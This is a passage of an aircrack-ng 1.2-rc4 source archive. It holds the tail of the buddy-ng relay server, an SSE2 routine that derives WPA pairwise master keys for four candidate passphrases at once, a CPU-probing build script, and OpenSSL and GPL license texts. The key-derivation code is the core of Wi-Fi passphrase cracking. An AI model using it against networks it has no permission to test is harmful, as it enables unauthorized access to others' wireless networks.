while (1) { FD_ZERO(&rfds); FD_SET(udp, &rfds); FD_SET(dude, &rfds); if (dude > udp) maxfd = dude; else maxfd = udp; if (select(maxfd+1, &rfds, NULL, NULL, NULL) == -1) err(1, "select()"); if (FD_ISSET(dude, &rfds)) break; if (!FD_ISSET(udp, &rfds)) continue; len = sizeof(s_in); rc = recvfrom(udp, buf, sizeof(buf), 0, (struct sockaddr*) &s_in, &len); if (rc == -1) err(1, "read()"); if (handle(dude, buf, rc, &s_in)) break; } close(dude); } void drop_privs() { if (chroot(".") == -1) err(1, "chroot()"); if (setgroups(0, NULL) == -1) err(1, "setgroups()"); if (setgid(69) == -1) err(1, "setgid()"); if (setuid(69) == -1) err(1, "setuid()"); } void usage() { char *version_info = getVersion("Buddy-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n" " %s - (C) 2007,2008 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: buddy-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -p : Don't drop privileges\n" "\n", version_info); free(version_info); exit(1); } int main(int argc, char *argv[]) { struct utsname utsName; struct sockaddr_in s_in; struct sockaddr_in dude_sin; int len, udp, ch, dude, s; int port = S_DEFAULT_PORT; int drop; while ((ch = getopt(argc, argv, "ph")) != -1) { switch (ch) { case 'p': drop = 0; break; default: case 'h': usage(); break; } } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_addr.s_addr = INADDR_ANY; s_in.sin_port = htons(S_DEFAULT_UDP_PORT); udp = socket(s_in.sin_family, SOCK_DGRAM, IPPROTO_UDP); if (udp == -1) err(1, "socket(UDP)"); if (bind(udp, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == -1) err(1, "socket(TCP)"); drop = 1; // Do not drop privileges on Windows (doing it fails). if (uname(&utsName) == 0) { drop = strncasecmp(utsName.sysname, "cygwin", 6); } if (drop) drop_privs(); memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = INADDR_ANY; len = 1; if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &len, sizeof(len)) == -1) err(1, "setsockopt(SO_REUSEADDR)"); if (bind(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); if (listen(s, 5) == -1) err(1, "listen()"); while (1) { len = sizeof(dude_sin); printf("Waiting for connexion\n"); dude = accept(s, (struct sockaddr*) &dude_sin, (socklen_t*) &len); if (dude == -1) err(1, "accept()"); printf("Got connection from %s\n", inet_ntoa(dude_sin.sin_addr)); handle_dude(dude, udp); printf("That was it\n"); } exit(0); } aircrack-ng-1.2-rc4/src/sha1-sse2.h0000644000000000000000000002264612640667310015406 0ustar rootroot/* C code for SSE2 (i386) optimized SHA1 - License: GPLv2 * (c) nx5 * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include "crypto.h" #if defined(__i386__) || defined(__x86_64__) #ifdef OLD_SSE_CORE void show_result(char* key, unsigned char* pmk) { int i; printf("%-14s ", key); for (i=0; i<32; i++) printf("%.2X", pmk[i]); printf("\n"); } #endif extern int shasse2_init( unsigned char ctx[80] ) __attribute__((regparm(1))); extern int shasse2_ends( unsigned char ctx[80], unsigned char digests[80] ) __attribute__((regparm(2))); extern int shasse2_data( unsigned char ctx[80], unsigned char data[256], unsigned char buf[1280] ) __attribute__((regparm(3))); extern int shasse2_cpuid( void ); #ifdef OLD_SSE_CORE void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, unsigned char* _pmk1, unsigned char* _pmk2, unsigned char* _pmk3, unsigned char* _pmk4) { int slen; char essid[36] __attribute__ ((aligned (16))); char key1[128] __attribute__ ((aligned (16))); char key2[128] __attribute__ ((aligned (16))); char key3[128] __attribute__ ((aligned (16))); char key4[128] __attribute__ ((aligned (16))); unsigned char pmks[128*4] __attribute__ ((aligned (16))); // All in double size unsigned char k_ipad[256] __attribute__ ((aligned (16))); unsigned char ctx_ipad[80] __attribute__ ((aligned (16))); unsigned char k_opad[256] __attribute__ ((aligned (16))); unsigned char ctx_opad[80] __attribute__ ((aligned (16))); unsigned char buffer[256] __attribute__ ((aligned (16))); unsigned char sha1_ctx[80] __attribute__ ((aligned (16))); unsigned char wrkbuf[1280] __attribute__ ((aligned (16))); unsigned i, *u, *v, *w, *u3, *v4; unsigned char *pmk1, *pmk2, *pmk3, *pmk4; pmk1=pmks; pmk2=pmks+128; pmk3=pmks+128*2; pmk4=pmks+128*3; strncpy(essid, _essid, 35); strncpy(key1, _key1, 127); strncpy(key2, _key2, 127); strncpy(key3, _key3, 127); strncpy(key4, _key4, 127); slen = strlen( essid ) + 4; /* SSE2 available, so compute four PMKs in a single row */ memset( k_ipad, 0, sizeof( k_ipad ) ); memset( k_opad, 0, sizeof( k_opad ) ); memcpy( k_ipad, key1, strlen( key1 ) ); memcpy( k_opad, key1, strlen( key1 ) ); memcpy( k_ipad + 64, key2, strlen( key2 ) ); memcpy( k_opad + 64, key2, strlen( key2 ) ); memcpy( k_ipad + 128, key3, strlen( key3 ) ); memcpy( k_opad + 128, key3, strlen( key3 ) ); memcpy( k_ipad + 192, key4, strlen( key4 ) ); memcpy( k_opad + 192, key4, strlen( key4 ) ); u = (unsigned *) ( k_ipad ); v = (unsigned *) ( k_ipad + 64 ); u3 = (unsigned *) ( k_ipad + 128 ); v4 = (unsigned *) ( k_ipad + 192 ); w = (unsigned *) buffer; for( i = 0; i < 16; i++ ) { /* interleave the data */ *w++ = *u++ ^ 0x36363636; *w++ = *v++ ^ 0x36363636; *w++ = *u3++ ^ 0x36363636; *w++ = *v4++ ^ 0x36363636; } shasse2_init( ctx_ipad ); shasse2_data( ctx_ipad, buffer, wrkbuf ); u = (unsigned *) ( k_opad ); v = (unsigned *) ( k_opad + 64 ); u3 = (unsigned *) ( k_opad + 128 ); v4 = (unsigned *) ( k_opad + 192 ); w = (unsigned *) buffer; for( i = 0; i < 16; i++ ) { *w++ = *u++ ^ 0x5C5C5C5C; *w++ = *v++ ^ 0x5C5C5C5C; *w++ = *u3++ ^ 0x5C5C5C5C; *w++ = *v4++ ^ 0x5C5C5C5C; } shasse2_init( ctx_opad ); shasse2_data( ctx_opad, buffer, wrkbuf ); memset( buffer, 0, sizeof( buffer ) ); buffer[ 80] = buffer[ 84] = buffer[ 88] = buffer[ 92] = 0x80; buffer[242] = buffer[246] = buffer[250] = buffer[254] = 0x02; buffer[243] = buffer[247] = buffer[251] = buffer[255] = 0xA0; essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (unsigned char *)key1, strlen(key1), (unsigned char*)essid, slen, pmk1, NULL); HMAC(EVP_sha1(), (unsigned char *)key2, strlen(key2), (unsigned char*)essid, slen, pmk2, NULL); HMAC(EVP_sha1(), (unsigned char *)key3, strlen(key3), (unsigned char*)essid, slen, pmk3, NULL); HMAC(EVP_sha1(), (unsigned char *)key4, strlen(key4), (unsigned char*)essid, slen, pmk4, NULL); u = (unsigned *) pmk1; v = (unsigned *) pmk2; u3 = (unsigned *) pmk3; v4 = (unsigned *) pmk4; w = (unsigned *) buffer; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; for( i = 1; i < 4096; i++ ) { memcpy( sha1_ctx, ctx_ipad, 80 ); //eran 40 shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); memcpy( sha1_ctx, ctx_opad, 80 ); shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); u = (unsigned *) pmk1; v = (unsigned *) pmk2; u3 = (unsigned *) pmk3; v4 = (unsigned *) pmk4; w = (unsigned *) buffer; /* de-interleave the digests */ *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (unsigned char *)key1, strlen(key1), (unsigned char*)essid, slen, pmk1 + 20, NULL); HMAC(EVP_sha1(), (unsigned char *)key2, strlen(key2), (unsigned char*)essid, slen, pmk2 + 20, NULL); HMAC(EVP_sha1(), (unsigned char *)key3, strlen(key3), (unsigned char*)essid, slen, pmk3 + 20, NULL); HMAC(EVP_sha1(), (unsigned char *)key4, strlen(key4), (unsigned char*)essid, slen, pmk4 + 20, NULL); u = (unsigned *) ( pmk1 + 20 ); // eran 20 v = (unsigned *) ( pmk2 + 20 ); u3 = (unsigned *) ( pmk3 + 20 ); // eran 20 v4 = (unsigned *) ( pmk4 + 20 ); w = (unsigned *) buffer; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; for( i = 1; i < 4096; i++ ) { memcpy( sha1_ctx, ctx_ipad, 80 ); //eran 40 shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); memcpy( sha1_ctx, ctx_opad, 80 ); shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); u = (unsigned *) ( pmk1 + 20 ); //eran 20 v = (unsigned *) ( pmk2 + 20 ); u3 = (unsigned *) ( pmk3 + 20 ); v4 = (unsigned *) ( pmk4 + 20 ); w = (unsigned *) buffer; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; } memcpy(_pmk3, pmk3, 32); memcpy(_pmk4, pmk4, 32); memcpy(_pmk1, pmk1, 32); memcpy(_pmk2, pmk2, 32); /*printf("\n"); show_result(_key1, _pmk1); show_result(_key2, _pmk2); show_result(_key3, _pmk3); show_result(_key4, _pmk4); fflush(stdout);*/ } #endif #else #ifdef OLD_SSE_CORE void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, unsigned char* _pmk1, unsigned char* _pmk2, unsigned char* _pmk3, unsigned char* _pmk4) { calc_pmk(_key1, _essid, _pmk1); calc_pmk(_key2, _essid, _pmk2); calc_pmk(_key3, _essid, _pmk3); calc_pmk(_key4, _essid, _pmk4); } #endif #endif aircrack-ng-1.2-rc4/autocfg0000644000000000000000000000717112656021650014305 0ustar rootroot#!/bin/sh # # aircrack-ng build config generation script by Len White # # The purpose of this is to generate a file to be included by common.mak that defines # compile time configuration, granting us more flexibility in tests and speeding build process # by not running the tests every time we compile a single file. # # NOTES: * common.cfg is automatically regenerated on make clean # * common.cfg is NOT required to build aircrack, but is required for autoconfiguration of the new crypto cores. # CC=$1 IS_X86=0 IS_ARM=0 IS_CROSS=0 SIMDSIZE=0 SIMDFLAG="" if [ ! $1 ]; then echo "Usage: $0 [cfgpath]" exit 127 fi if [ ! $2 ]; then CURDIR=$(pwd) else CURDIR=$2 fi CFGFILE="${CURDIR}/common.cfg" clean_exit () { if [ -n "$tmpdir" ]; then if [ -d "${tmpdir}" ]; then rm -rf "${tmpdir}" fi fi } if [ "$(uname -s)" = 'OpenBSD' ]; then OPENBSD=1 trap clean_exit EXIT else trap clean_exit SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT fi # $1 flag $2 variable test_compile_flag () { FLAGTEST=$(echo | $CC -fsyntax-only ${1} -xc -Werror - 2>/dev/null && echo Y) if [ "$FLAGTEST" = "Y" ] && [ $2 ]; then echo "${2}=${FLAGTEST}" >> $CFGFILE fi } test_header_file () { if [ -f "$1" ]; then echo "${2}=Y" >> $CFGFILE fi } cpuid_test () { tmpdir="$(mktemp -d -t acng.XXXX)" cat >${tmpdir}/cpuidtest.c < #include int main() { unsigned eax = 0, ebx = 0, ecx = 0, edx = 0; unsigned int max_level = __get_cpuid_max(0, NULL); if (max_level >= 7) { __cpuid_count(7, 0, eax, ebx, ecx, edx); if (ebx & (1 << 5)) // AVX2 return 16; } __cpuid(1, eax, ebx, ecx, edx); if (ecx & (1 << 28)) // AVX1 return 8; if (edx & (1 << 26)) // SSE2 return 4; return 1; } EOF $($CC -o ${tmpdir}/cpuidtest ${tmpdir}/cpuidtest.c 2>/dev/null) if [ -x "${tmpdir}/cpuidtest" ]; then ${tmpdir}/cpuidtest SIMDSIZE=$? fi if [ $SIMDSIZE -gt 0 ]; then case $SIMDSIZE in 16) SIMDTYPE="AVX2" ;; 8) SIMDTYPE="AVX" ;; 4) SIMDTYPE="SSE2" ;; 1) SIMDTYPE="MMX" ;; esac fi } case "$CC" in mips-* | arm-*) IS_CROSS=1 IS_X86=0 ;; *);; esac UARCH=$(uname -m) case "$UARCH" in x86_64 | amd64 | i*86*) IS_X86=1 ;; *arm*) IS_ARM=1 ;; *mips*) IS_CROSS=1 ;; *) ;; esac if [ $IS_X86 = 1 ]; then cpuid_test if [ $SIMDSIZE -gt 0 ]; then if [ $SIMDSIZE = 16 ]; then test_compile_flag -mavx2 if [ "$FLAGTEST" = "Y" ]; then echo "AVX2FLAG=Y" > $CFGFILE fi echo "SIMDCORE=true" >> $CFGFILE elif [ $SIMDSIZE = 8 ]; then test_compile_flag -mavx if [ "$FLAGTEST" = "Y" ]; then echo "AVX1FLAG=Y" > $CFGFILE fi echo "SIMDCORE=true" >> $CFGFILE elif [ $SIMDSIZE = 4 ]; then test_compile_flag -msse2 if [ "$FLAGTEST" = "Y" ]; then echo "SSEFLAG=Y" > $CFGFILE fi fi fi if [ ! $OPENBSD ]; then test_compile_flag -masm=intel INTEL_ASM fi elif [ $IS_ARM = 1 ]; then >$CFGFILE if [ -f "/proc/cpuinfo" ]; then NEON_FLAG=$(grep -c neon /proc/cpuinfo) if [ $NEON_FLAG -eq 1 ]; then test_compile_flag -mfpu=neon HAS_NEON if [ "$FLAGTEST" = "Y" ]; then echo "SIMDCORE=true" >>$CFGFILE else IS_CROSS=1 fi else IS_CROSS=1 fi else IS_CROSS=1 fi fi test_compile_flag -pthread PTHREAD if [ $IS_X86 -eq 0 ]; then # If we're on non-x86 platform, we need to check for auxv for cpuid since it's broken on some debian vers test_header_file sys/auxv.h HAS_AUXV fi if [ $IS_CROSS -eq 1 ]; then echo "NEWSSE=false" >>$CFGFILE fi # If we fall thru all the tests and still haven't created a config, create an empty one. if [ ! -f "$CFGFILE" ]; then echo >$CFGFILE fi aircrack-ng-1.2-rc4/LICENSE.OpenSSL0000644000000000000000000001420710761053203015211 0ustar rootroot LICENSE ISSUES ============== The OpenSSL toolkit stays under a dual license, i.e. both the conditions of the OpenSSL License and the original SSLeay license apply to the toolkit. See below for the actual license texts. Actually both licenses are BSD-style Open Source licenses. In case of any license issues related to OpenSSL please contact openssl-core@openssl.org. OpenSSL License --------------- /* ==================================================================== * Copyright (c) 1998-2007 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * openssl-core@openssl.org. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.openssl.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * * This product includes cryptographic software written by Eric Young * (eay@cryptsoft.com). This product includes software written by Tim * Hudson (tjh@cryptsoft.com). * */ Original SSLeay License ----------------------- /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) * All rights reserved. * * This package is an SSL implementation written * by Eric Young (eay@cryptsoft.com). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson (tjh@cryptsoft.com). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young (eay@cryptsoft.com)" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ aircrack-ng-1.2-rc4/VERSION0000644000000000000000000000000712660207441013770 0ustar rootroot1.2-rc4aircrack-ng-1.2-rc4/LICENSE0000644000000000000000000004313310761053203013727 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY 